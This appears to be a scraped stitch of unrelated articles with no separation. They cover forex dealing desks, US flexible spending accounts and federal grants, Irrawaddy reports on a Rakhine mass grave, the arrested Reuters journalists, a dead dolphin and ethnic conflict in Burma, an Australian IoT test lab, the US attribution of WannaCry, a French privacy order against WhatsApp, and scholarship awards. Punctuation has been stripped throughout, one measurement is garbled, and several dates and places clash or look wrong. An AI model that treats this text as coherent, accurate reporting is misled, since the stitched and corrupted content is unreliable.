In foreign currency markets, a dealing desk is where the forex dealers at a bank or financial institution sit. Since the forex market is open around the clock, many institutions have dealing desks around the world. Dealing desks can also be found outside the foreign exchange markets, such as in banks and finance companies, to execute trades in securities and other financial products. Dealing desks are not limited to forex. They execute many financial assets like equities, ETFs, options, and commodities.

The term "desk" may be a bit of a misnomer, given its connotation of a table shared by a couple of traders. Large financial institutions often have dealing facilities that are staffed by many dealers & market makers. In a large organization, major currencies, such as the euro and yen, may have multiple trading desks staffed a handful of traders who specialize in these currencies.

Additionally, if the institution deals in equities, ETFs, options, and commodities, each of these assets will generally have its own dealing desk of traders.

The dealers are there to facilitate trades on behalf of their customers. They may act as the principal or the agent. When acting as principal the dealer takes the other side of the client's trade. The dealer could be taking on risk in such a transaction or dealing out of their own inventory. When acting as an agent, the trader will handle a client's order by finding liquidity in the secondary market. In this case, the client will receive the same prices executed by the dealer.

Because of electronic trading, the number of forex dealers at a desk has declined significantly since the mid-2000s. In the late 1990s, a dealing desk could be made up of 15 to 20 traders, with often multiple people covering the same currency.

However, today, your typical forex desk will have less than ten traders, some as few as five with a lot of the business being quoted and cleared by an electronic auto-hedging platform. The same can be said for equities and ETFs. Many of the manual processes have been automated due to the rise of electronic trading.

In general, the dealing desk is located next to the sales desk and in most cases near the market risk desk that monitors positions and will flag any risk with current trades or positions. The market risk team is looking for anomalies and will calculate the value at risk (VAR) at the end of each day to assess the size of the risk that the bank has at any given time.
What Is a Flexible Spending Account (FSA)?

A flexible spending account (FSA) is a type of savings account that provides the account holder with specific tax advantages. An FSA is sometimes called a flexible spending arrangement and can be established by an employer for employees. The account allows you to contribute a portion of your regular earnings; employers also can contribute to employees accounts. Distributions from the account must be used to reimburse the employee for qualified expenses related to medical and dental services.

Another type of FSA is a dependent-care flexible spending account, which is used to pay for childcare expenses for children age 12 and under and can also be used to pay for the care of qualifying adults, including a spouse, who cannot care for themselves and meet specific Internal Revenue Service (IRS) guidelines. A dependent-care FSA has different maximum contribution rules than a medical-related flexible spending account.

Key Takeaways An FSA is a type of savings account that allows employees to contribute a portion of their regular earnings to pay for health-related costs.

Funds contributed to the account are deducted from earnings and are not subject to income and payroll taxes.

Funds withdrawn from an FSA to pay qualified medical expenses are not subject to tax.

The money in an FSA must be used by the end of the plan year, but employers can offer a grace period of up to two-and-a-half months, through March 15 of the following year.

Due to the pandemic, the IRS will allow employers to amend FSA plans for 2021, either to raise the carryover amounts or extend the grace period.

How a Flexible Spending Account (FSA) Works

One of the key benefits of a flexible spending account is that the funds contributed to the account are deducted from your earnings before taxes, lowering your taxable income. As a result, regular contributions to an FSA can reduce your annual tax liability.

The IRS limits how much can be contributed to an FSA account per year. For medical expense FSA accounts, the annual contribution limit per employee is $2,750 for 2021 and $2,850 for 2022.

If you are married, your spouse can also put aside up to the annual contribution limit through their employer. Employers can choose to contribute to an FSA, but they do not have toif they do, their contribution does not reduce the amount that you are permitted to contribute. You are not taxed on employer contributions.

For 2021, the contribution limit for a dependent-care FSA is $10,500 for joint and individual tax returns and $5,250 for married taxpayers filing separatelyan increase given through the American Rescue Plan of 2021. For 2022, the contribution limit returns to $5,000 for joint and individual tax returns and $2,500 for married taxpayers filing separately.

The IRS released new guidance that allows employers more flexibility for benefit plans during the COVID-19 crisis, including special provisions for health Flexible Spending Arrangements (FSAs). If an employer elects to allow this (these provisions are entirely at the discretion of the employer), employees may revoke an existing election, make a new election, or decrease or increase an existing election. In addition, employers can elect to allow employees to apply unused amounts remaining in a health FSA at the end of a grace period or plan year ending in 2020 to pay or reimburse medical care expenses incurred through Dec. 31, 2020. If you're not sure about your options, check with your HR or benefits person.

Advantages and Disadvantages of Flexible Spending Accounts (FSAs)

The funds from an FSA can be used to reimburse payments for medical care, which is defined to include amounts paid for the diagnoses, cure, mitigation, treatment, or prevention of disease or ailments affecting any structure of the body. However, expenses for surgery for cosmetic purposes and for items or services that are just beneficial for general health, such as gym memberships, are not reimbursable. Qualified medical expenses for FSA owners, their spouses, and dependents are covered.

Medical equipment purchases, such as diagnostic devices, bandages, and crutches, are covered by FSAs. Expenditures for prescription medications, including over-the-counter (OTC) drugs for which you had a prescription, as well as insulin can be reimbursed with FSA funds. The Coronavirus Aid, Relief, and Economic Security (CARES) Act enacted in 2020 expanded reimbursable qualified medical expenses for 2020 and later years to include the cost of over-the-counter drugs without a doctors prescription. The act also permitted the use of FSA funds to reimburse the costs of menstrual care products. Both of these CARES provisions are permanent.

Funds in an FSA may also be used to reimburse amounts paid in accordance with insurance plan deductibles and co-payments for medical services. Unfortunately, the money may not be used to pay for insurance premiums.

The IRS issued a statement notifying taxpayers that at-home COVID-19 tests and personal protective equipment such as face masks and hand-sanitizer are both considered eligible medical expenses that can be paid or reimbursed under health flexible spending arrangements (FSAs), health savings accounts (HSAs), and health reimbursement arrangements (HRAs).

Special Considerations

The money set aside in an FSA generally must be used by the end of the plan year. However, a plan can offer a grace period of up to two-and-a-half months to finish using that funding.

If that option is not taken, a plan may allow you to roll over up to $550 per year of unused funds from your account. Neither option is required, but only one may be offered by the plan.

When the year ends or the grace period expires, any funds that remain in your FSA are lost. Thus, you should carefully calibrate the amount of money you plan to put into your account and how you intend to spend it over the course of the year.

The Internal Revenue Service has announced that because of the impact of COVID-19, it will permit but not require employers to amend health plans so that employees can change elections that usually are allowed only once a year. Also, the IRS will allow employers discretion to amend FSA plans for 2020 and 2021 either to allow employees to carry over more than the current $550 maximum or to extend the grace period for using unspent FSA funds through Dec. 31 of each year.

A different type of FSAa "limited purpose flexible spending arrangement" (LPFSA)refers to a savings plan that can be used with a health savings account (HSA). Unlike a standard FSA, employees may use an LPFSA in conjunction with an HSA. Contributions are made using pre-tax earnings. A limited-purpose FSA is more restrictive because the arrangement is reserved for paying dental and vision expenses and sometimes other costs incurred in a high-deductible health plan (HDHP) after the plan holder meets the deductible.

Flexible Spending Account FAQs

How Much Should I Contribute to My FSA? No specific amount is correct for everyone, and FSA elections vary depending on the particular situation of an individual. Make your election by carefully examining your expected out-of-pocket healthcare expenses for the upcoming year.

What If My Spouse is Enrolled In a Different Health Insurance Plan? You can use funds from your healthcare FSA to pay for eligible medical costs for both your spouse and tax dependents, regardless of the medical insurance in which they are enrolled. To use funds for your dependents, they must be claimed on your tax return, and dependents cannot file their own return.








What Are Federal Grants In Aid?

A federal grant is financial aid awarded to fund a specific project or program. Recipients include state, local, and municipal governments, as well as individuals. Federal grants in aid are funded with money from income tax revenues. These grants are not loans; therefore, no repayment is required, but funds must be spent according to the federal government's guidelines for that particular grant.

Key Takeaways A federal grant in aid is federal money granted to a recipient to fund a project or program.

Federal grants in aid are not loans and therefore require no repayment.

Federal grants can be awarded to university faculty members to pursue a particular line of research.

Parts of a state government may procure and earmark grants to support nonprofits that provide aid to its constituents.

Understanding Federal Grants In Aid

A federal grant in aid allows the government to publicly fund a project and still operate independently from the state. The funds come with standards and requirements. Entities that offer grants might divide the resources up across one or more periods annually; furthermore, they might divide the funds among potential recipients. This can make the pursuit of such grant funding a competitive effort among applicants.

$500 billion The amount the US government awards annually in Federal Assistance Agreements, consisting mostly of grants.

Grants-in-aid can be awarded to university faculty members to pursue a particular line of research; however, there are restrictions on how the money can be used. For example, permitted use of the funds might be to pay undergraduate students to assist with the research, and a non-permitted use might be the payment of university utility bills.

The recipient will also have to meet certain requirements to qualify for the aid. For example, an individual recipient might be required to meet certain citizenship and/or residency requirements.

Types of Federal Grants

Federal grants can take on a variety of forms and have different requirements. For instance, a university might make a federal grant in aid to support a program that lowers the tuition rate to make it more affordable for military veterans and their spouses. A university might also make this type of funding available to support conferences that have a particular subject matter or area of study at its core.

In the case of research efforts that receive a grant-in-aid, it may be stipulated that the funding is not intended to cover all expenses for the project. Furthermore, the grant may be given with the intent of encouraging and attracting other, more substantial funding to the project. This makes the federal grant in aid a sort of seed funding that lends some credibility to the endeavor.

Foundations and professional associations might offer federal grants as a form of financial assistance to graduate students who are developing a thesis focused on specific topics that are relevant to the organization.

Parts of a state government, such as its legislative body, might procure and earmark federal grants to support nonprofit organizations that provide aid to its constituents. The money, however, is often stipulated as a supplemental rather than primary source of funding.
Burma 10 Bodies Found at Mass Grave in Rakhine village visited by detained Reuters reporters

Inn Din police station in southern Maungdaw, Rakhine State.

YANGON  Local authorities unearthed 10 bodies near a graveyard in Inn Din village in southern Maungdaw Township, Rakhine State on Tuesday, according to government officials.

Local authorities have formed a temporary investigation team comprising officials from several agencies, including the Health Department.

A team member told The Irrawaddy that 10 heads and skeletons had been unearthed at the burial site. The team had concluded the remains belonged to victims of homicides that could have occurred as long as a year ago. All of the victims are adults. It was unclear whether the remains were those of Rohingya or Arakanese villagers.

The killings did not happen recently; the remains have decomposed and we do not know if the victims are Rakhine or Muslim, he said.

Security was tightened in the area as government troops started digging at the burial site. Locals were unable to say exactly how many bodies had been found or whether they were those of Rohingya Muslims.

A Maungdaw resident who had visited Inn Din village and who has close ties with military intelligence told The Irrawaddy that Arakanese villagers, local police and government security forces had killed Rohingya villagers in Inn Din in recent months, and that locals had taken photographs of the incidents leading up to the killing. Later, some residents disclosed the killings to Reuters reporters who visited the village, the source said. He said the reporters were the same pair who were later arrested on Dec. 12 under the Official Secrets Act.

He claimed that the two reporters had secretly given some of the photographs to the UN, rather than using them in their reports. He said intelligence officers followed the two reporters and arrested them in Yangons Htauk Kyant Township. The Irrawaddy could not independently verify his claims.

He said that Myanmar authorities had arrested the pair of journalists for leaking controversial photos to the UN which could bring a strong international reaction against the government and authorities had also started arresting lower-ranking members of the security forces as suspects in the killing of Rohingya villagers, in anticipation of an international condemnation of the scenes in the photos.

In a statement released on Dec. 18, the Office of the Commander-in-Chief said a person had informed government security forces of the discovery of unidentified bodies near Inn Din graveyard. The statement did not mention the number of bodies found, citing the ongoing investigation.

In an operation to restore stability in the region after a series of attacks by the Arakan Rohingya Salvation Army (ARSA), government troops conducted counterattacks starting on Aug. 25, the statement reads. It adds that if any security forces are found to have committed violations, or if crimes at Inn Din are linked with government troops, those responsible will be punished in line with the law.

The Army clearance operations drove out more than 620,000 Rohingya to neighboring Bangladesh. The UNs human rights council described the Army operation as a textbook example of ethnic cleansing.

Independent regional lawmaker Than Maung Oo, who visited the village, said Inn Din was home to a mixed population of about 700 Muslim families and 170 Arakanese homes. He said Inn Din saw heavy clashes between ARSA and government troops in southern Maungdaw. Muslim villagers and ARSA supporters fled to neighboring Bangladesh.

The government has not released an estimate of how many Muslim militants were killed during the heavy fighting in Inn Din. Some locals speculated that dozens of people were killed in the clashes.

Its unclear whether the bodies found on Monday are linked to the clashes between the Army and ARSA militants, or if the deaths occurred more recently. The Irrawaddy phoned Rakhine State Border Affairs Minister Col. Phone Tint and Maungdaw district administrator Ye Htut to ask for further information about the bodies found in the graveyard, but no one answered the calls.

On the evening of Dec. 12, Reuters journalists Wa Lone and Kyaw Soe Oo, who had visited Inn Din village in recent months, were arrested by police in Htauk Kyant for allegedly possessing classified police reports. The pair have been charged under the colonial-era Official Secrets Act.

On Dec. 16, four schoolteachers and a resident of Inn Din village who had spoken to the reporters before the pairs arrest were themselves detained by military intelligence. Two of the teachers were later released and the other two were taken to Rakhines capital, Sittwe, for further questioning.

On Monday, Maung Win Phyu, an Arakanese resident of Inn Din village, was arrested by police, according to the suspects wife, Aye Naw. She said her husband had spoken to a reporter whose name she could not recall. She could not say for sure whether the arrest was related to her husbands conversation with the reporter.

I have no details regarding his detention, she said.

Regional legislator Than Maung Oo said one of the currently detained teachers was Maung Thein Phyu, who is head of Inn Din Kwa Son Primary School. Maung Thein Phyu, a former government soldier, actively campaigned for the Arakan National Party (ANP) during the 2015 elections. However, ANP lawmakers had no further details on the teachers detention.

Local publications reported that the two school teachers were being held at No. 1 Sittwe Police Station. The head of the Sittwe District Police, Win Naung, declined to comment.
Burma Arrested Reuters Reporters Were Set Up, Says NLD Spokesman

Reuters journalist Wa Lone, who was arrested together with his colleague Kyaw Soe Oo, is seen in this undated picture. / Reuters

NAYPYITAW  Two Reuters journalists arrested last week were deliberately set up, according to National League for Democracy spokesperson U Win Htein, who added that he felt sorry for the pair.

Thet Oo Maung (aka Wa Lone) and Moe Aung (aka Kyaw Soe Oo) were detained by police in Yangons Mingalardon Township on Dec. 12 after allegedly receiving reports from police officers containing detailed information about fighting between government troops and the Arakan Rohingya Salvation Army in late August 2017. The pair is accused of attempting to illegally acquire information for the purposes of sharing it with foreign media.

The reporters were detained by the Home Affairs Ministry under the colonial-era Official Secrets Act, which dates to 1923. Conviction carries a maximum prison sentence of 14 years.

A week after their arrest, the pairs whereabouts is still unclear. The Ministry of Information issued a report the day after the arrest, saying the reporters had illegally acquired information with the intention of sharing it with foreign media.

They were arrested red-handed with documents. I heard they obtained the documents from police officials with whom they had dinner. They werent arrested until after they had left the company of those officers, U Win Htein said in Naypyitaw on Monday.

Looking at the choice of charge, it is easy to see that this was planned. The charge concerns state security, so it has become a big case, he said.

However, the leading NLD member said the reporters had been naive to allow themselves to be trapped.

How could they be so naive? They should have been smarter. They should have gotten rid of the documents as soon as they saw them, he added.

If you choose to be a journalist, you cant be naive. Otherwise youll be at a disadvantage.

Information Minister Dr. Pe Myint said it was too early to say what the ministrys response would be, as he had no information about the proceedings that were being brought against the pair.

We try to help as much as we can when journalists have problems, he said at Karen New Year Celebrations in Naypyitaw on Monday.

Presidential spokesperson U Zaw Htay confirmed to The Irrawaddy over the weekend that the Presidents Office backed the charging of the reporters.

The Information Ministrys initial online and print reporting of the incident featured photos of the two journalists in handcuffs standing behind a table with their faces visible, provoking the ire of non-state media. It is customary to obscure the faces of criminal suspects in photographs.

Ministry Permanent Secretary U Myo Myint Maung said the news report came directly from the Home Affairs Ministry, and the Information Ministry did not have the authority to change it.

Rather than arguing about whether the publication of the photo was right or wrong, I think it is best to reduce the negative impacts of it by following media ethics, U Myo Myint Maung said.

Ko Thalun Zaung Htet from the Yangon-based Protection Committee for Journalists (Myanmar) accused the Information Ministry of aiding and abetting the Home Affairs Ministry in its suppression of media freedoms by speaking up for it.

What help can we expect from the Information Ministry since they didnt even obscure the faces of the journalists? he asked, adding that even the faces of murder suspects are obscured in reports.

To protest the reporters detention, the committee on Saturday announced it was launching a campaign to symbolically support the pair by having journalists wear black while performing their duties.

Reporters will wear black when reporting and producing news to symbolically represent the suppression of press freedom and the blacking out of information, the committee said.

The Myanmar Press Council will issue its response to the arrests this week, said U Thiha Saw, a spokesperson for the council.

Access to information is very limited here. Its because this is case relating to information gathering. Well wait and see, said former Reuters journalist U Aung Hla Tun. The two journalists have been detained incommunicado.

UN Secretary-General Antonio Guterres said last week that the arrests were a sign that press freedom is being eroded in Myanmar. He urged the international community to do all it can to get them released. Their families have been denied access to the duo. Reuters president and editor-in-chief Stephen J. Adler insisted the two are innocent of any wrongdoing.

Wa Lone and Kyaw Soe Oo are journalists who perform a crucial role in shedding light on news of global interest, and they are innocent of any wrongdoing, he said in a statement. We are grateful for the widespread expressions of support and we call for their immediate release.

According to sources from Rakhine State, police are investigating four teachers and a villager in Maungdaw who allegedly spoke to the Reuters reporters.

In August, Yangon Region Chief Minister U Phyo Min Thein lodged a complaint with the Myanmar Press Council over a Reuters report questioning the cost of the ministers deals with Chinese automaker Yutong to purchase buses for Yangon Bus Service (YBS) as part of his public transport reform initiatives.

The Union government has also questioned Reuters coverage of the Rakhine issue, accusing it of deliberately failing to include the governments views in its reports.

Only international pressure and clever lawyers will be able to save the reporters, U Win Htein said.

Translated from the Burmese by Thet Ko Ko. The Irrawaddys Tin Htet Paing contributed reporting.
Burma Endangered Irrawaddy Dolphin Found Dead

A female Irrawaddy dolphin was found dead in Katha Township, Sagaing Region on Sunday. / Kyaw Nanda's Facebook

MANDALAY  An endangered Irrawaddy dolphin was found dead near Katha Township, Sagaing Region by local fishermen on Sunday.

The female dolphin had cuts on her abdomen. She was found washed up on a riverbank near Kyauk Pone village.

Her organs spilled out from the cuts. It did not look like a propeller injury. The cuts looked intentional, whether they killed her or happened after she was already dead, said U Kyaw, one of the locals that discovered the body.

The Irrawaddy dolphin measured 76 and is the third one to have died this year.

In April, a male dolphin was found dead with injuries on his fins believed to have been caused by a boats propeller. In June, a 30-year-old female was found dead with no injuries, the cause of death thought to be natural causes.

Although the cause of the latest death is unknown, local environmental activists point to electric-shock fishing, a major threat to this endangered species.

Electric-shock fishing, especially in the Irrawaddy Rivers protective zone, is prohibited by the Freshwater Fisheries Law enacted by the Department of Fisheries. Violators face three years in prison or a 300,000 kyats fine.

The government and responsible authorities need a strict law, rules and regulation that can protect these endangered species effectively, said U Mg Mg Oo, a member of the local environmental activist group Green Activity.

Fishermen who use electric-shock fishing do not care about the law and they even attack those who report or arrest them. Apart from electric-shock fishing, we also need an effective law to prevent pollution of the river, he added.

According to statistics from the Wildlife Conservation Society (WCS), in 2012 there were only 86 Irrawaddy dolphins. By 2014, the population was just 63. In 2015, 58 were counted in the protective zone, which spans from Mandalay to Bhamo.

The population of dolphins was counted as 65 in 2016, despite three dolphins, including a pregnant female, being found dead that year.

According to the WCSs survey in February this year, 69 dolphins were found in the protective zone. That number now stands at 66 after the three deaths this year.
Burma Fighting in Kachin State Heats Up

KIA troops drive their motorbikes while on security patrol at a mine site in Kachin State in June. / Lawi Weng / The Irrawaddy

YANGON  Fighting in Kachin State between the armed wing of the Kachin Independence Organization (KIO) and the Myanmar Army, or Tatmadaw, has intensified in recent days, according to the Kachin Independence Army (KIA).

The latest round of clashes erupted in late November.

Colonel Naw Bu, spokesman for the KIA, said he did not know how many people have been killed or injured in the latest fighting but added that there have been daily clashes with regular shelling by the Tatmadaw in the townships of Bhamo, Mansi and Tanai.

He said the Tatmadaw was shelling near Laiza, the headquarters of the KIO, on Dec. 14 and 15 and that it deployed fighter jets against KIA sites in Mansi a few days ago.

The fighting has driven many local villagers from their homes, especially in Tanai, forcing them to stay with relatives or to seek shelter in churches and monasteries, as local government officials have blocked the creation of more camps for displaced families since August.

The continuous fighting has made travel for locals difficult, added Lamai Gum Ja, spokesman for the non-government Peace Creation Group in Myitkyina, the state capital.

Col Naw Bu said the latest fighting cast further doubt on the prospects of peace talks between the KIO and government.

Our aims are different even though high-level officers on both sides are talking about peace, so we cannot move forward with negotiations, he said.

Before the NLD took power early last year, the Peace Creation Group helped prevent clashes by providing each side with advance notice of the others troop movements.

But now the path to negotiate for both sides is disappearing, said Lamai Gum Ja,

Since hostilities between the Tatmadaw and KIA resumed in 2011, he said, fighting has typically intensified every December.

Last week, police raided the offices of the KIOs Technical Assistance Team in Myitkyina in connection with the seizure of more than 1,000 bullets earlier this month at a private residence in Karen State. The couple renting the residence was arrested in Myitkyina, where they live.

Spokesmen for the Tatmadaw could not be reached for comment on Tuesday.

However, in a Facebook post on Friday, the Office of the Commander-in-Chief said the army had to continue operations in the area because of recent activity it blamed on the KIA, including a landmine blast on Dec. 14 that injured one man at an amber mine and the burning of nine trucks transporting dirt near Dun Bum village on Dec. 15 for allegedly failing to pay the KIA extortion money.
Burma Shan National Dialogue to Continue Despite Myanmar Army Obstruction

Tatmadaw troops obstructed the CSSU's public consultation in Panglong on Dec.17 / Nang Ying.

YANGON  The Committee for Shan State Unity (CSSU) stated that it would continue its public consultations for the ethnic Shan national-level dialogue in Shan State, despite the Myanmar Army deterring the first attempt in Panglong Township, southern Shan State on Sunday.

The public gathering in Panglong was forced to stop when some 60 Tatmadaw troops arrived and said it was not allowed.

The organizers expressed disappointment, as they had planned for the discussions in agreement with the UPDJC and in accordance with the permission of the Shan State government.

Nang Ying, a representative for the social sector discussion group representing the Restoration Council of Shan State (RCSS), said the Tatmadaws actions were unacceptable as they came in with the weapons among the public.

The public consultations prior to the national-level dialogue (ND) are necessary to be able to include public concerns and suggestions. According to the nationwide ceasefire agreement (NCA) text, the signatories of the NCA can hold NDs based on three themes: region, theme and ethnicity. Prior to the second session of the 21st century Panglong union peace conference (UPC), the Karen, Pa-O, Chin and Burman NCA signatories were able to conduct their ethnic NDs (Shan and Rakhine were unable to), while the government conducted the regional and thematic NDs.

We will move forward with our plan, said Sai Kyaw Nyunt, a secretary of the CSSU and of the Shan Nationalities League for Democracy (SNLD), as the plan to hold the consultations was agreed to at the Joint Implementation Coordination Meeting (JICM) in late November.

Sai Kyaw Nyunt is also a secretary at the UPDJC, one of the highest decision-making bodies in the implementation of peace building.

He said that the case was shared with the UPDJC, which is led by State Counselor Daw Aung San Suu Kyi and peace commission members.

The CSSU formed the five separate teams last week in Taunggyi, to conduct consultations across 20 townships in southern, northern and eastern Shan State and in the Shan communities outside of Shan State in Mandalay, Kachin and Karenni states. Each group started discussions on Dec. 17.

The CSSU teams had completed consultations in Muse, northern Shan State, and Langkho (Linkhay), southern Shan State, on Monday and Namkham on Tuesday, according to the organizers. A consultation team was then to return to Panglong after it completed its lists of towns.

The RCSS is a member of the CSSU and the ethnic-based national level dialogues led by the group were stalled early this year as the Tatmadaw did not agree on the venue; Taunggyi, for the dialogue. But in November, the RCSS agreed to hold the Shan ethnic ND in Langkho in January 2018.

In 2016, the CSSU held its pre-consultations in 45 townships in preparation for the Shan-led ND and drafted recommendations in regards to the political, economic, social, land and environment, and security sectors to be discussed at the Union Peace Conference.

Sai Kyaw Nyunt said: We will bring all of the public suggestions and combine them into our draft recommendations. We aim to complete this national-level dialogue prior to the third session of the 21st century Panglong UPC, planned to be held in late January.

Chit Min Tun contributed to this report.
Queenslands James Cook University and Enex TestLab have inked a partnership agreement to build Australias first testing and certification centre for Internet of Things devices, monitors and sensors.

The JCU/Enex agreement, supported by Chinese telecoms giant Huawei, will see the development of a new Narrowband Internet of Things (NB-IoT) testing and certification centre established on the JCU Cairns campus.

Enex, a Victorian headquartered testing laboratory, says the connection of data, devices, people, processes and things to the internet is creating unparalleled opportunities for Australia and the world, and IoT will allow individuals, businesses and governments to collect information to make better and more informed policy decisions, driving economic efficiencies and productivity.

Enex TestLab managing director, Matt Tett said the certification lab was an exciting addition to the growing IoT environment, and a unique opportunity for Australia.

Globally IoT solutions, networks and products, are being deployed rapidly, ahead of the certification and security processes," he said.

The lab is critical to ensure testing policies and assurances are developed to build compliant, safe and secure NB-IoT environments.

NB-IoT is a narrowband radio technology designed for the Internet of Things, which enables new applications and business models, and focuses specifically on broad coverage, low cost and long battery life.

The technology is now the only global IoT standard endorsed by the International Telecommunications Union, and enables a wide range of devices and services to be connected using cellular telecommunications bands and infrastructure.

Working with independent certification experts Enex TestLab says it will enable JCU to certify devices under an independent assessment program endorsed by the National Association of Testing Authorities.

The agreement means that companies manufacturing NB-IoT network devices will be able to engage the JCU centre to have their products independently tested and certified, allowing users to be confident they meet the current industry standard.

This partnership places Australia at the leading edge of NB-IoT development and implementation, and enhances JCUs IoT leadership both nationally and globally, JCUs head of IoT Engineering, Professor Wei Xiang, said.

JCU vice-chancellor Professor Sandra Harding said the certification centre was an exciting opportunity for JCU and for Cairns.

JCU researchers are already using IoT networks in the field with great success, so were very conscious of the potential for industries in our region, and across the tropics worldwide, to use this technology to enhance their productivity and sustainability.

We have embraced the Internet of Things because were preparing our graduates for the jobs of the future. JCU was the first University in Australia to offer a specialised IoT degree accredited by Engineers Australia, and were continuing to lead in this field.

Huawei corporate affairs director Jeremy Mitchell said: Organisations and individuals procuring devices for a NB-IoT network can be assured the products tested in the JCU centre are certified to the global standard by skilled and independent assessors."
The US has blamed North Korea for the WannaCry ransomware attack in May, calling it reckless and one that caused "havoc and destruction" by locking up more than 300,000 Windows computers in 150 countries.

US Homeland Security adviser Tom Bossert told a briefing at the White House on Tuesday that after intensive investigation, the US was publicly attributing the attack to North Korea.

WannaCry hit Europe mainly on 20 May and subsided over the weekend after British security researcher Marcus Hutchins found an URL within the malware code and registered this domain. WannaCry used an NSA exploit to infect Windows machines that were not patched against a particular SMB vulnerability.

"We do not make this allegation lightly, we do so with evidence, we do so with partners," Bossert said.

"Other governments and private companies agree. The UK, Australia, Canada, New Zealand, and Japan have seen our analysis and they join us in denouncing North Korea for WannaCry."

Tom Bossert addressing the media on Tuesday.

"Commercial partners have also acted. Microsoft traced the attack to cyber affiliates of the North Korean Government, and others in the security community have contributed their analysis."

Bossert claimed North Korea had been acting unchecked for more than a decade.

"We believe now we have the evidence to support this assertion," he said. "It's very difficult to do when you're looking for individual hackers. In this case, we found a concerted effort."

Jeanette Manfra, the DHS assistant secretary for cyber security and communications, detailed the progress of the attack, and the manner in which the US had reacted to the situation.

There was no mention made by the officials of Hutchins who was arrested by the FBI in Las Vegas on 2 August after he had boarded a plane to leave the US after attending the annual DEFCON security conference.

The chargesheet against him said he had written and helped distribute a banking trojan, Kronos, along with an unnamed co-conspirator. He is awaiting trial on these charges.

One journalist made mention of him briefly, asking what would happen to him now. Bossert responded that he could not comment on ongoing criminal investigations.

Commenting on the naming of North Korea, the chief technology officer of American security vendor McAfee, Steve Grobman said: The (US) administration is in a unique position to make this attribution assessment. Technical forensics alone cannot provide strong attribution to a threats origin. However, technical forensics combined with information from trusted intelligence or law enforcement agencies can improve confidence on the underlying actor behind a cyber-attack or campaign.

"WannaCry was an abnormal form of ransomware. It lacked a viable payment system essential to any effective ransomware campaign. This suggests that the attackers objective was less about extortion and more about disruption and destruction.

"Rather than jumping to conclusions based on an incomplete picture of the WannaCry attacks, the government has leveraged both technical and traditional data to take a responsible approach to attribution."

Grobman did not clarify if McAfee was one of the private companies that had helped the government make its determination; iTWire has sought clarification on this point.
France's privacy watchdog has indicated that it may levy fines on messaging app WhatsApp if the lcompany does not follow an order to stop sharing user data with its parent company Facebook.

The National Data Protection Commission (CNIL) said on Monday that it had given WhatsApp a month to comply with the order. It emphasised that particular attention should be given to getting consent from users, Reuters reported.

The watchdog said that WhatsApp had no legal grounds for sharing user data with Facebook; under French law, it was obligated to comply with CNIL.

In a statement, CNIL said that WhatsApp, which was acquired by Facebook in 2014, had released a new version of its terms of service and privacy policy on 25 August 2016 saying that from that point on, its users' data would be transferred to Facebook for targeted advertising, security and evaluation and improvement of services.

WP29, a group of European data protection agencies, had asked WhatsApp for details on these new policies, and also told the company to to stop the transfer of user data for targeted advertising, it said.

While the WP29 had repeatedly asked WhatsApp to provide a sample of French users data transferred to Facebook, the company had said it could not do so as it was located in the US and considered that it was subject only to US law.

CNIL said it had decided to make the matter public "in order to ensure the highest level of transparency on the massive data transfer from WhatsApp to Facebook and... (highlight) the need for individuals concerned to keep their data under control".

"Should WhatsApp fail to comply with the formal notice within the specified timescale, the Chair may appoint an internal investigator, who may draw up a report proposing that the CNILs restricted committee responsible for examining breaches of the Data Protection Act issue a sanction against the company," the CNIL warned.
Four Students Awarded Gilman Scholarships for Study Abroad

Dec. 19, 2017

This photo was taken on a previous study abroad trip to Barcelona, Spain, which is where two of the four Gilman Scholarship recipients will be studying.

BLOOMINGTON, Ill. The U.S. Department of States Benjamin A. Gilman International Scholarship Program has awarded study abroad scholarships to four Illinois Wesleyan University students: Veronica Torres Luna '19 (Chicago), Monica Munoz '19 (Chicago), Elia Nava '20 (Chicago) and Tamara Snevely '20 (Joliet, Illinois).

Luna, a political science major and psychology minor, who will receive $3,000 to study in Chile through the School for International Training (SIT), said the scholarship makes it possible for her to study abroad. Luna said with the help of the Gilman scholarship combined with financial aid from SIT, she will not have to pay anything out of pocket.

When I realized I was awarded the prestigious scholarship I was so thankful and humbled, Luna said.

As part of the program Cultural Identity, Social Justice, and Community Development, Luna will take a variety of courses that will allow her to gain hands-on experience on all three topics. She will also complete an internship during the last four weeks of the program.

While in Chile, Luna said she is most excited to live with indigenous communities as well as her homestay family. She hopes to learn more about the Chilean culture, history and everyday life, and share her own culture.

My first language is Spanish and I am Mexican, so I am eager to share my culture, traditions, and my version of Spanish with my Chilean family and the many friends that I'm sure I will make, Luna said.



Munoz, a financial services and Hispanic studies double major, will receive $3,500 to spend a semester in Ecuador through IES Abroad. During her time abroad, Munoz will be enrolled in four Spanish courses, two of which will be taught at the Universidad San Francisco de Quito. She will also be involved in community service with a nonprofit organization while taking a Service Learning Seminar.

Munoz said while in Ecuador, she plans on visiting the equator line, the Peguche waterfall, the Galapagos islands, and exploring different restaurants and locations in Quito.

As a Latina, I love to explore different Latin American cultures, and I am very excited to submerge myself into the Ecuadorian culture, Munoz said. I hope that I can come back to Illinois Wesleyan with a greater vision of the world, a diversified view of my thoughts and values, and a greater respect and appreciation for other cultures abroad and especially here in the U.S.

Nursing majors Nava and Snevely will receive $4,500 to study in Barcelona, Spain through the IWU Spain program.

I was so happy when I received the Gilman scholarship. I was also surprised because it is an international scholarship, and it is very competitive, Nava said.

Snevely said the IWU Spain Program is one of the only programs that allows nursing students to study abroad and stay on track for graduation. As part of the program, Nava and Snevely will take a variety of courses including two nursing courses, a Spanish course, and a directors course on drug abuse taught by Victoria Folse, The Caroline F. Rupert Endowed Chair of Nursing and Director of the School of Nursing.

My initial thoughts turned into actions when I received my acceptance. I cried almost immediately after reading the email, Snevely said. I have always stood out because I did not have the finances to do many things, so I was always left behind. This scholarship will make me stand out for being able to do something for once.

While in Spain, Nava and Snevely said they plan on immersing themselves in the Spanish culture and lifestyle. Nava said she is most excited to live with her Spanish host family, and Snevely  a self-proclaimed foodie  is excited to try all of the local cuisine.

The four Gilman scholarships mark the most earned by Illinois Wesleyan since 2014. This is also the first time that every IWU student who applied for a scholarship was awarded one.

I think the Benjamin Gilman scholarship is one of the greatest resources out there to help students with financial need to spend a semester abroad, said Stacey Shimizu, Director of the International Office. It allows students to more clearly imagine themselves abroad and relieves them of what can be a heavy anxiety.

Gilman scholarships are awarded to U.S. undergraduates, including students from diverse backgrounds and students going to non-traditional study abroad destinations, with financial need. The program was established under the International Academic Opportunity Act of 2000. Nearly 1,000 American undergraduate students from 386 colleges and universities across the U.S. received awards to study or intern abroad during the 2017-18 academic year.

